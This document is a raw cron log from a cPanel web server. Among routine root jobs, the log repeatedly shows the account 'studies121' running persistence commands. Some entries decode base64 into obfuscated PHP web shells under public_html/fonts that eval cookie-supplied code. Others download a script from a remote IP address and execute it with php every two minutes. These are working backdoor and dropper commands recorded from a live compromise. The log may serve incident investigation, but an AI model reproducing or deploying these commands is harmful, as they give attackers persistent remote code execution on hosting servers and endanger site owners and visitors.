Aug 31 14:05:01 ip-184-168-122-23 CROND[11370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:05:01 ip-184-168-122-23 CROND[11371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:05:01 ip-184-168-122-23 CROND[11372]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 14:06:01 ip-184-168-122-23 CROND[11590]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:06:01 ip-184-168-122-23 CROND[11592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:06:01 ip-184-168-122-23 CROND[11595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:06:01 ip-184-168-122-23 CROND[11596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:06:01 ip-184-168-122-23 CROND[11594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:07:01 ip-184-168-122-23 CROND[11692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:07:01 ip-184-168-122-23 CROND[11695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:07:01 ip-184-168-122-23 CROND[11696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:07:01 ip-184-168-122-23 CROND[11694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:08:01 ip-184-168-122-23 CROND[11785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:08:01 ip-184-168-122-23 CROND[11786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:08:01 ip-184-168-122-23 CROND[11790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:08:01 ip-184-168-122-23 CROND[11788]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:08:01 ip-184-168-122-23 CROND[11789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:09:01 ip-184-168-122-23 CROND[11889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:09:01 ip-184-168-122-23 CROND[11891]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:09:01 ip-184-168-122-23 CROND[11892]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 14:09:01 ip-184-168-122-23 CROND[11896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:09:01 ip-184-168-122-23 CROND[11898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:10:01 ip-184-168-122-23 CROND[12020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:10:01 ip-184-168-122-23 CROND[12019]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 14:10:01 ip-184-168-122-23 CROND[12029]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 14:10:01 ip-184-168-122-23 CROND[12030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:10:01 ip-184-168-122-23 CROND[12032]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 14:10:01 ip-184-168-122-23 CROND[12031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:10:01 ip-184-168-122-23 CROND[12035]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:10:01 ip-184-168-122-23 CROND[12034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:11:01 ip-184-168-122-23 CROND[12158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:11:01 ip-184-168-122-23 CROND[12162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:11:01 ip-184-168-122-23 CROND[12165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:11:01 ip-184-168-122-23 CROND[12164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:12:01 ip-184-168-122-23 CROND[12254]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:12:01 ip-184-168-122-23 CROND[12256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:12:01 ip-184-168-122-23 CROND[12258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:12:01 ip-184-168-122-23 CROND[12260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:12:01 ip-184-168-122-23 CROND[12262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:13:01 ip-184-168-122-23 CROND[12370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:13:01 ip-184-168-122-23 CROND[12372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:13:01 ip-184-168-122-23 CROND[12373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:13:01 ip-184-168-122-23 CROND[12378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:14:01 ip-184-168-122-23 CROND[12548]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:14:01 ip-184-168-122-23 CROND[12549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:14:01 ip-184-168-122-23 CROND[12550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:14:01 ip-184-168-122-23 CROND[12551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:14:01 ip-184-168-122-23 CROND[12556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:15:01 ip-184-168-122-23 CROND[12660]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 31 14:15:01 ip-184-168-122-23 CROND[12664]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 14:15:01 ip-184-168-122-23 CROND[12662]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:15:01 ip-184-168-122-23 CROND[12667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:15:01 ip-184-168-122-23 CROND[12666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:15:01 ip-184-168-122-23 CROND[12665]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 14:15:01 ip-184-168-122-23 CROND[12663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:16:01 ip-184-168-122-23 CROND[12770]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:16:01 ip-184-168-122-23 CROND[12775]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 14:16:01 ip-184-168-122-23 CROND[12773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:16:01 ip-184-168-122-23 CROND[12772]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:16:01 ip-184-168-122-23 CROND[12774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:16:01 ip-184-168-122-23 CROND[12776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:17:01 ip-184-168-122-23 CROND[12876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
